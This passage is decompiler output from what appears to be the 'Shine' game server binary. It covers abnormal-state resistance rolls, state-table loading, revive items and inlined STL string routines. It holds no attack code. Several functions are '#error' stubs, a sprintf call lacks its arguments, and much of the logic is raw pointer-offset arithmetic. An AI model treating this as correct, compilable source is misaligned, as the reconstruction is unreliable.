v4->ResMesmerize; break; case 0xA: v3 = v4->ResSeverBone; break; case 0xB: v3 = v4->ResKnockBack; break; case 0xC: v3 = v4->ResTBMinus; break; default: break; } } } } v5 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v5; v6 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v5]]; v7 = *((_DWORD *)v6 + 8193) & (*((_DWORD *)v6 + 8192) + 1); *((_DWORD *)v6 + 8192) = v7; return *(_WORD *)&v6[2 * v7] < v3; } //----- (0040EB50) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Resist(void *this, int sklidx) { bool result; // al@2 int v3; // eax@3 int v4; // edx@3 int v5; // esi@3 unsigned int v6; // eax@3 char *v7; // eax@3 int v8; // ecx@3 if ( sklidx ) { v3 = *(_DWORD *)(sklidx + 4); v4 = *(_DWORD *)((char *)this + v3 + 4392); v5 = *(_DWORD *)((char *)this + v3 + 6312); v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; result = *(_WORD *)&v7[2 * v8] < v4 + v5; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_AbnormalState_Resist : Invalid AbState", 0); result = 1; } return result; } //----- (0040EBE0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x42Cu, 0x4Fu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0040EC90) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xEFAu, 0x11Eu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0040ED40) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::SubAbState::SubAbState(AbnormalStateDictionary::SubAbState *this) { AbnormalStateDictionary::SubAbState *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->sas_BinData; CCharacterTitleData::CCharacterTitleData(&this->sas_BinData.baseclass_0); v2 += 60; memset(v2, 0, 0x4Cu); v2 += 76; *(_WORD *)v2 = 0; v2[2] = 0; v1->sas_DefAbstate = &v1->sas_BinData.bdb_defaultblock; v1->sas_BinData.bdb_defaultblock.ID = -1; v1->sas_DefAbstate->InxName[0] = 0; v1->sas_DefAbstate->Strength = 0; v1->sas_DefAbstate->Type = 38; v1->sas_DefAbstate->ActionIndexD = 0; v1->sas_DefAbstate->ActionIndexC = 0; v1->sas_DefAbstate->ActionIndexA = 0; v1->sas_DefAbstate->ActionIndexA = 0; v1->sas_DefAbstate->ActionArgD = 0; v1->sas_DefAbstate->ActionArgC = 0; v1->sas_DefAbstate->ActionArgB = 0; v1->sas_DefAbstate->ActionArgA = 0; } //----- (0040EDB0) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::SubAbState::sas_Load(AbnormalStateDictionary::SubAbState *this) { AbnormalStateDictionary::SubAbState *v1; // esi@1 _iobuf *v2; // eax@1 v1 = this; BinaryDataBox::bdb_ReadData(&this->sas_BinData, "../9Data/Shine/SubAbState.shn"); v1->sas_Number = v1->sas_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v2 = fopen("../9Data/SubAbStateClass.txt", "w"); fclose(v2); } //----- (0040EDF0) -------------------------------------------------------- SubAbStateInfo *__thiscall AbnormalStateDictionary::SubAbState::sas_Find(AbnormalStateDictionary::SubAbState *this, char *index, int str) { SubAbStateInfo **v3; // ebx@1 SubAbStateInfo *result; // eax@2 unsigned int v5; // esi@3 char *v6; // ebx@4 void *v7; // ebp@6 unsigned int v8; // edi@8 void *v9; // eax@10 int v10; // eax@16 char namematch; // [sp+7h] [bp-Dh]@3 AbnormalStateDictionary::SubAbState *v12; // [sp+8h] [bp-Ch]@1 unsigned int idx; // [sp+Ch] [bp-8h]@3 v3 = (SubAbStateInfo **)this; v12 = this; if ( *index == 45 ) { result = this->sas_DefAbstate; } else { v5 = 0; namematch = 0; idx = 0; if ( !this->sas_Number ) goto LABEL_25; v6 = (char *)&this->sas_BinData; while ( 1 ) { if ( v5 < *(_DWORD *)(*((_DWORD *)v6 + 12) + 40) ) v7 = CDataReader::GetRecord((CDataReader *)v6, v5); else v7 = v6 + 60; v8 = *(_DWORD *)((char *)v7 + 34); if ( v8 != 999 ) { v9 = v5 < *(_DWORD *)(*((_DWORD *)v6 + 12) + 40) ? CDataReader::GetRecord((CDataReader *)v6, v5) : v6 + 60; v8 = *(_DWORD *)((char *)v7 + 34); if ( v8 > 0x14 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::SubAbState::sas_Find : Wrong MaxStrength", *(_DWORD *)((char *)v9 + 34)); return v12->sas_DefAbstate; } } if ( !strcmp(index, (const char *)v7 + 2) ) { namematch = 1; if ( v8 == 999 || v8 == str ) return (SubAbStateInfo *)v7; } v10 = idx++ + 1; if ( idx >= v12->sas_Number ) break; v5 = v10; } v3 = (SubAbStateInfo **)v12; if ( !namematch ) LABEL_25: AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::SubAbState::sas_Find : Not found", index); result = *v3; } return result; } //----- (0040EF40) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::AbState(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->as_BinData.baseclass_0); memset(&v1->as_BinData.bdb_defaultblock, 0, 0x11Cu); *(_WORD *)&v1->as_BinData.bdb_defaultblock.MainStateInx[31] = 0; BTree::BTree(&v1->as_BTreeID); BTree::BTree(&v1->as_BTreeIndex); } //----- (0040EFB0) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::_AbState(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 v1 = this; operator delete(this->as_AbstateArray); BTree::_BTree(&v1->as_BTreeIndex); BTree::_BTree(&v1->as_BTreeID); CCharacterTitleData::_CCharacterTitleData(&v1->as_BinData.baseclass_0); } //----- (0040F020) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::as_Load(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // edi@1 void *v4; // eax@3 void *v5; // eax@7 void *v6; // eax@11 unsigned int v7; // ecx@14 int v8; // eax@14 int v9; // edx@16 int v10; // edi@16 void *v11; // ebx@18 void *v12; // eax@21 void *v13; // ebx@24 void *v14; // eax@27 void *v15; // ebx@30 signed int v16; // edi@42 SubAbStateInfo *v17; // eax@43 int v18; // ecx@43 signed int v19; // edx@43 int v20; // ecx@45 SubAbstateAction v21; // ebp@45 int v22; // ecx@45 SubAbstateAction v23; // ebp@45 int v24; // ecx@45 SubAbstateAction v25; // ebp@45 AbnormalStateDictionary::AbState::AbStateStr *v26; // ebp@45 unsigned int v27; // edx@45 SubAbstateAction v28; // eax@45 int v29; // ecx@45 int v30; // esi@48 int v31; // edi@48 int str; // [sp+8h] [bp-Ch]@42 unsigned int idx; // [sp+Ch] [bp-8h]@16 v1 = this; BinaryDataBox::bdb_ReadData(&this->as_BinData, "../9Data/Shine/AbState.shn"); v2 = v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = 0; v1->as_Number = v2; v1->as_maxhandle = 0; if ( v2 ) { do { if ( v3 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v4 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v3); else v4 = &v1->as_BinData.bdb_defaultblock; if ( *(_WORD *)v4 > v1->as_maxhandle ) { if ( v3 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v3); else v5 = &v1->as_BinData.bdb_defaultblock; v1->as_maxhandle = *(_WORD *)v5; } ++v3; } while ( v3 < v1->as_Number ); } v6 = operator new__(728 * (v1->as_maxhandle + 1)); v1->as_AbstateArray = (AbnormalStateDictionary::AbState::AbStateStr *)v6; if ( v6 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_Load : Fail to alloc memory", v6 != 0); ShineExit("AbnormalStateDictionary::AbState::as_Load"); } v7 = 0; v8 = 0; do { v1->as_AbstateArray[v8].index = 0; v1->as_AbstateArray[v8].debuffresist = (int *)168; ++v7; ++v8; } while ( v7 <= v1->as_maxhandle ); v9 = (int)v1->as_StateIndexList; memset(v1->as_StateIndexList, 0, sizeof(v1->as_StateIndexList)); v10 = 0; idx = 0; if ( v1->as_Number ) { do { AbnormalStateContainer::AbnormalStateList::operator__(&abstatetemplate, v10); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v11 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v11 = &v1->as_BinData.bdb_defaultblock; if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v12 = &v1->as_BinData.bdb_defaultblock; BTree::bt_Insert(&v1->as_BTreeID, (const char *)v12 + 2, *(_WORD *)v11); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v13 = &v1->as_BinData.bdb_defaultblock; if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v14 = &v1->as_BinData.bdb_defaultblock; BTree::bt_Insert(&v1->as_BTreeIndex, (const char *)v14 + 2, *(_DWORD *)((char *)v13 + 34)); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v15 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v15 = &v1->as_BinData.bdb_defaultblock; v1->as_AbstateArray[*(_WORD *)v15].index = (AbnormalStateInfo *)v15; switch ( *((_DWORD *)v15 + 61) ) { case 3: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)176; break; case 4: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)172; break; case 5: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)180; break; } if ( *((_DWORD *)v15 + 62) == 2 ) { v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)184; } else { if ( *((_DWORD *)v15 + 62) == 13 ) v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)188; } v16 = 0; v1->as_StateIndexList[*(_DWORD *)((char *)v15 + 34)] = &v1->as_AbstateArray[*(_WORD *)v15]; str = 0; do { v17 = AbnormalStateDictionary::SubAbState::sas_Find(&dic_subabstate, (char *)v15 + 212, str); v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_info = v17; v18 = (int)v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect; v19 = 4; do { *(_DWORD *)v18 = 0; v18 += 8; --v19; } while ( v19 ); v20 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v21 = v17->ActionIndexA; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[0].value = v17->ActionArgA; *(_DWORD *)(v20 + 4) = v21; v22 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v23 = v17->ActionIndexB; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[1].value = v17->ActionArgB; *(_DWORD *)(v22 + 12) = v23; v24 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v25 = v17->ActionIndexC; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[2].value = v17->ActionArgC; *(_DWORD *)(v24 + 20) = v25; v26 = v1->as_AbstateArray; v27 = v17->ActionArgD; v28 = v17->ActionIndexD; v29 = (int)&v26[*(_WORD *)v15].subabstate[v16]; v26[*(_WORD *)v15].subabstate[v16].assa_Effect[3].value = v27; ++v16; *(_DWORD *)(v29 + 28) = v28; ++str; } while ( v16 < 20 ); v10 = idx++ + 1; } while ( idx < v1->as_Number ); v9 = (int)v1->as_StateIndexList; } v30 = 0; v31 = v9; do { if ( v30 < 412 ) { if ( *(_DWORD *)v31 && **(_DWORD **)v31 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_Load : Null Index", v30); ShineExit("AbnormalStateDictionary::AbState::as_Load"); } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v30); } ++v30; v31 += 4; } while ( (unsigned int)v30 < 0x19C ); } //----- (0040F440) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_FillBriefABState(void *this, int data, int num) { int v3; // eax@1 void *v4; // eax@3 int v5; // edi@3 unsigned __int16 v6; // bp@4 unsigned __int16 v7; // dx@5 int v8; // ecx@6 unsigned __int16 v9; // bx@6 bool v10; // cf@6 int v11; // esi@7 ORErrorMessage *v12; // ecx@8 int v13; // edx@11 AbnormalStateContainer::AbstateElementInObject *v14; // eax@12 int v15; // edx@15 char v16; // al@15 int v17; // esi@15 AbnormalStateContainer::AbstateElementInObject *v18; // ecx@16 LOBYTE(v3) = data; if ( data ) { LOBYTE(v3) = num; if ( num ) { *(_BYTE *)num = 0; v4 = (void *)(*(int (**)(void))(*(_DWORD *)this + 1304))(); v3 = AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(v4); v5 = v3; if ( v3 ) { v3 = *(_WORD *)(v3 + 14); v6 = *(_WORD *)(*(_DWORD *)(v5 + 8) + 12 * v3 + 4); while ( 1 ) { v7 = *(_WORD *)(v5 + 4); if ( v6 >= v7 ) break; v8 = *(_DWORD *)(v5 + 8); v3 = v6; v9 = v6; v10 = v6 < v7; v6 = *(_WORD *)(v8 + 12 * v6 + 4); if ( v10 ) { v11 = 12 * v3; LOBYTE(v3) = *(_BYTE *)(v8 + 12 * v3 + 8); if ( (_BYTE)v3 ) { v12 = *(ORErrorMessage **)(v8 + v11); if ( v12 ) { LOBYTE(v3) = num; if ( *(_BYTE *)num >= 0x1Eu ) return v3; *(_DWORD *)data = ORErrorMessage::orem_GetMessage(v12); if ( v9 < *(_WORD *)(v5 + 4) && (v13 = *(_DWORD *)(v5 + 8), *(_BYTE *)(v13 + v11 + 8)) ) v14 = *(AbnormalStateContainer::AbstateElementInObject **)(v13 + v11); else v14 = 0; *(_DWORD *)(data + 4) = AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(v14); if ( v9 < *(_WORD *)(v5 + 4) && (v15 = *(_DWORD *)(v5 + 8), v16 = *(_BYTE *)(v11 + v15 + 8), v17 = v15 + v11, v16) ) v18 = *(AbnormalStateContainer::AbstateElementInObject **)v17; else v18 = 0; *(_DWORD *)(data + 8) = AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(v18); LOBYTE(v3) = num; ++*(_BYTE *)num; data += 12; } } } } } } } return v3; } //----- (0040F550) -------------------------------------------------------- void __thiscall UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this) { UseEffect::UseItemJustReviveAtDead *v1; // esi@1 v1 = this; UseEffect::UseItemNormal::UseItemNormal(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemJustReviveAtDead::_vftable_; } // 5A4418: using guessed type int (__stdcall *UseEffect__UseItemJustReviveAtDead___vftable_)(int, int itm); //----- (0040F570) -------------------------------------------------------- void __thiscall UseEffect::UseItemJustReviveAtDead::_UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemJustReviveAtDead::_vftable_; UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)this); } // 5A4418: using guessed type int (__stdcall *UseEffect__UseItemJustReviveAtDead___vftable_)(int, int itm); //----- (0040F580) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 116; return result; } //----- (0040F5B0) -------------------------------------------------------- #error "40F5B0: undefined or illegal type '#434' (funcsize=74)" //----- (0040F6B0) -------------------------------------------------------- #error "40F6B0: undefined or illegal type '#325' (funcsize=106)" //----- (0040F800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ReviveByItem(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReviveByItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ReviveByItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ReviveNow(v1, 0x3E8u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReviveByItem"); } //----- (0040F8A0) -------------------------------------------------------- #error "40F8A0: undefined or illegal type '#434' (funcsize=128)" //----- (0040FA50) -------------------------------------------------------- #error "40FA50: undefined or illegal type '#434' (funcsize=36)" //----- (0040FB10) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest) { AbnormalStateContainer::AbstateElementInObject *v3; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 const void *v5; // esi@2 void *v6; // edi@2 v3 = _First; result = _Dest; while ( v3 != _Last ) { v5 = v3; v6 = result; v3 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v3 + 116); result = (AbnormalStateContainer::AbstateElementInObject *)((char *)result + 116); memcpy(v6, v5, 0x74u); } return result; } //----- (0040FB40) -------------------------------------------------------- #error "40FB40: undefined or illegal type '#434' (funcsize=35)" //----- (0040FBF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_CanChargedEnchant(void *this, int index) { void *v2; // esi@1 int v3; // eax@1 int v4; // edi@1 unsigned __int16 v5; // si@1 unsigned __int16 v6; // cx@1 int v7; // eax@3 bool v8; // cf@3 int v9; // eax@4 int v10; // eax@5 int v11; // edx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_WORD *)v2 + 45543); v4 = *((_DWORD *)v2 + 22770); v5 = *((_WORD *)v2 + 45538); v6 = *(_WORD *)(v4 + 12 * v3 + 4); while ( v6 < v5 ) { v7 = v6; v8 = v6 < v5; v6 = *(_WORD *)(v4 + 12 * v6 + 4); if ( !v8 ) break; v9 = v4 + 12 * v7; if ( !*(_BYTE *)(v9 + 8) ) break; v10 = *(_DWORD *)v9; if ( !v10 ) break; v11 = *(_DWORD *)v10; if ( *(_DWORD *)v10 && *(_DWORD *)(v11 + 36) == 31 && *(_WORD *)(v11 + 40) == *(_WORD *)(index + 40) && *(_BYTE *)(*(_DWORD *)v10 + 42) >= *(_BYTE *)(index + 42) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); return 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); return 1; } //----- (0040FD20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE(void *this, int abstateid) { void *v2; // ebp@1 unsigned __int16 v3; // dx@1 unsigned __int16 v4; // di@2 int v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // eax@4 int v9; // eax@5 int v10; // ecx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(*((_DWORD *)v2 + 22770) + 12 * *((_WORD *)v2 + 45543) + 4); while ( 1 ) { v4 = *((_WORD *)v2 + 45538); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v2 + 22770); v6 = v3; v7 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); if ( !v7 ) break; v8 = v5 + 12 * v6; if ( !*(_BYTE *)(v8 + 8) ) break; v9 = *(_DWORD *)v8; if ( !v9 ) break; v10 = *(_DWORD *)v9; if ( *(_DWORD *)v9 && *(_DWORD *)(v10 + 36) == 31 ) { if ( *(_WORD *)(v10 + 40) == abstateid ) *(_BYTE *)(v9 + 4) = 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"); } //----- (0040FE00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // cx@1 unsigned __int16 v3; // di@2 int v4; // edx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_WORD *)(*((_DWORD *)v1 + 22770) + 12 * *((_WORD *)v1 + 45543) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 45538); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 22770); v5 = v2; v6 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( !v6 ) break; v7 = v4 + 12 * v5; if ( !*(_BYTE *)(v7 + 8) ) break; v8 = *(_DWORD *)v7; if ( !v8 ) break; if ( *(_DWORD *)v8 ) *(_BYTE *)(v8 + 4) = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"); } //----- (0040FEB0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::erase(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count) { std::basic_string,std::allocator > *v3; // esi@1 unsigned int v4; // edi@3 unsigned int v5; // eax@3 unsigned int v6; // ecx@6 int v7; // ebx@6 int v8; // edx@7 int v9; // ecx@10 unsigned int v10; // ecx@12 int v11; // eax@12 v3 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v4 = _Count; v5 = this->_Mysize - _Off; if ( v5 < _Count ) v4 = this->_Mysize - _Off; if ( v4 ) { v6 = this->_Myres; v7 = (int)&v3->_Bx; if ( v6 < 0x10 ) v8 = (int)&v3->_Bx; else v8 = *(_DWORD *)v7; if ( v6 < 0x10 ) v9 = (int)&v3->_Bx; else v9 = *(_DWORD *)v7; memmove((char *)(_Off + v9), (char *)(v4 + _Off + v8), v5 - v4); v10 = v3->_Myres; v11 = v3->_Mysize - v4; v3->_Mysize = v11; if ( v10 >= 0x10 ) v7 = *(_DWORD *)v7; *(_BYTE *)(v7 + v11) = 0; } return v3; } //----- (0040FF30) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_Tidy(std::basic_string,std::allocator > *this, bool _Built, unsigned int _Newsize) { std::basic_string,std::allocator > *v3; // ebx@1 const void *v4; // eax@3 v3 = this; if ( _Built && this->_Myres >= 0x10 ) { v4 = *(const void **)&this->_Bx._Buf[0]; if ( _Newsize ) memcpy(&this->_Bx, v4, _Newsize); operator delete((void *)v4); } v3->_Mysize = _Newsize; v3->_Myres = 15; v3->_Bx._Buf[_Newsize] = 0; } //----- (0040FF90) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_Copy(std::basic_string,std::allocator > *this, unsigned int _Newsize, unsigned int _Oldlen) { unsigned int v3; // ebx@1 std::basic_string,std::allocator > *v4; // esi@1 unsigned int v5; // edi@3 unsigned int v6; // ecx@3 void *v7; // edx@6 unsigned int v8; // ecx@6 const void *v9; // esi@8 int v10; // eax@13 int v11; // [sp-Ch] [bp-24h]@1 std::basic_string,std::allocator > *v12; // [sp+4h] [bp-14h]@1 int *v13; // [sp+8h] [bp-10h]@1 int v14; // [sp+14h] [bp-4h]@6 void *_Ptr; // [sp+20h] [bp+8h]@6 v3 = _Newsize | 0xF; v4 = this; v13 = &v11; v12 = this; if ( (_Newsize | 0xF) <= 0xFFFFFFFE ) { v5 = this->_Myres; v6 = this->_Myres >> 1; if ( v3 / 3 < v6 && v5 <= -2 - v6 ) v3 = v6 + v5; } else { v3 = _Newsize; } v14 = 0; v7 = operator new(v3 + 1); _Ptr = v7; v8 = _Oldlen; if ( _Oldlen ) { if ( v4->_Myres < 0x10 ) v9 = &v4->_Bx; else v9 = *(const void **)&v4->_Bx._Buf[0]; memcpy(v7, v9, _Oldlen); v4 = v12; v8 = _Oldlen; } if ( v4->_Myres >= 0x10 ) { operator delete(*(void **)&v4->_Bx._Buf[0]); v7 = _Ptr; v8 = _Oldlen; } v10 = (int)&v4->_Bx; v4->_Bx._Buf[0] = 0; *(_DWORD *)&v4->_Bx._Buf[0] = v7; v4->_Myres = v3; v4->_Mysize = v8; if ( v3 >= 0x10 ) v10 = (int)v7; *(_BYTE *)(v10 + v8) = 0; } //----- (004100D0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateContainer::AbstateElementInObject *v5; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; result = (AbnormalStateContainer::AbstateElementInObject *)((char *)result + 116) ) { if ( result ) memcpy(result, v5, 0x74u); v5 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v5 + 116); } return result; } //----- (00410100) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_basic_string_std::allocator>(std::pair,std::allocator > const ,int> *this) { std::pair,std::allocator > const ,int> *v1; // esi@1 v1 = this; if ( this->first._Myres >= 0x10 ) operator delete(*(void **)&this->first._Bx._Buf[0]); v1->first._Myres = 15; v1->first._Mysize = 0; v1->first._Bx._Buf[0] = 0; } //----- (00410130) -------------------------------------------------------- void __thiscall std::length_error::_length_error(std::length_error *this) { std::length_error *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; if ( this->baseclass_0._Str._Myres >= 0x10 ) operator delete(*(void **)&this->baseclass_0._Str._Bx._Buf[0]); v1->baseclass_0._Str._Myres = 15; v1->baseclass_0._Str._Mysize = 0; v1->baseclass_0._Str._Bx._Buf[0] = 0; exception::_exception(&v1->baseclass_0.baseclass_0); } // 5E86C0: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (00410170) -------------------------------------------------------- const char *__thiscall std::logic_error::what(std::logic_error *this) { const char *result; // eax@2 if ( this->_Str._Myres < 0x10 ) result = (const char *)&this->_Str._Bx; else result = *(const char **)&this->_Str._Bx._Buf[0]; return result; } //----- (00410180) -------------------------------------------------------- void __thiscall 